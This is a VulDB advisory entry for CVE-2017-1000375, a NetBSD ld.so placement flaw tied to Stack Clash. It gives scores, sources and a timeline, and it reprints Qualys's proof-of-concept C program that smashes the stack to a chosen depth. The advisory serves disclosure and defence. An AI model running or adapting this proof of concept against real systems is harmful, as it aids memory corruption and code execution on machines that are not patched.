NetBSD up to 7.1 Run-time Link-Editor ld.so memory corruption

CVSS Meta Temp Score
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CTI Interest Score
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8.3$0-$5k0.00

Summaryinfo

A vulnerability was found in NetBSD up to 7.1 and classified as critical. The affected element is an unknown function of the file ld.so of the component Run-time Link-Editor. Such manipulation leads to memory corruption. This vulnerability is referenced as CVE-2017-1000375. It is possible to launch the attack remotely. Furthermore, an exploit is available.

Detailsinfo

A vulnerability was found in NetBSD up to 7.1 (Operating System). It has been rated as critical. Affected by this issue is an unknown code of the file ld.so of the component Run-time Link-Editor. The manipulation with an unknown input leads to a memory corruption vulnerability. Using CWE to declare the problem leads to CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. Impacted is confidentiality, integrity, and availability. CVE summarizes:

NetBSD maps the run-time link-editor ld.so directly below the stack region, even if ASLR is enabled, this allows attackers to more easily manipulate memory leading to arbitrary code execution. This affects NetBSD 7.1 and possibly earlier versions.

The bug was discovered 06/19/2017. The weakness was published 06/19/2017 with Qualys (Website). The advisory is shared for download at exploit-db.com. This vulnerability is handled as CVE-2017-1000375 since 06/19/2017. The exploitation is known to be easy. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details as well as a public exploit are known.

A public exploit has been developed by Qualys Corporation in ANSI C and been published 2 weeks after the advisory. The exploit is available at exploit-db.com. It is declared as proof-of-concept. As 0-day the estimated underground price was around $5k-$25k. The commercial vulnerability scanner Qualys is able to test this issue with plugin 370432 (NetBSD Advisory for kernel/ glibc Elevation of Privileges (Stack Clash)). The code used by the exploit is:

#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/time.h>
 
#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)
 
static void
smash_no_jump(const size_t smash_size)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    if (smash_size > sizeof(buf))
        smash_no_jump(smash_size - sizeof(buf));
}
 
int
main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();
 
    if (argc != 2) die();
    const size_t smash_size = strtoul(argv[1], NULL, 0);
    if (smash_size <= 0 || smash_size >= SSIZE_MAX) die();
    smash_no_jump(smash_size);
    exit(EXIT_SUCCESS);
}

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at Exploit-DB (42272) and SecurityFocus (BID 99257†). Similar entries are available at VDB-102679 and VDB-102683. VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Type

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 8.5
VulDB Meta Temp Score: 8.4

VulDB Base Score: 7.3
VulDB Temp Score: 6.9
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 9.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Qualys Corporation
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

06/19/2017 🔍
06/19/2017 +0 days 🔍
06/19/2017 +0 days 🔍
06/19/2017 +0 days 🔍
06/19/2017 +0 days 🔍
06/20/2017 +1 days 🔍
06/28/2017 +8 days 🔍
06/28/2017 +0 days 🔍
07/29/2025 +2952 days 🔍

Sourcesinfo

Advisory: exploit-db.com
Researcher: Qualys
Organization: Qualys
Status: Confirmed

CVE: CVE-2017-1000375 (🔍)
GCVE (CVE): GCVE-0-2017-1000375
GCVE (VulDB): GCVE-100-102680
SecurityFocus: 99257 - NetBSD CVE-2017-1000375 Arbitrary Code Execution Vulnerability

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 06/20/2017 08:09
Updated: 07/29/2025 01:51
Changes: 06/20/2017 08:09 (71), 10/21/2019 16:51 (4), 12/29/2020 09:45 (3), 07/29/2025 01:51 (15)
Complete: 🔍
Cache ID: 216::103

VulDB is the best source for vulnerability data and more expert information about this specific topic.

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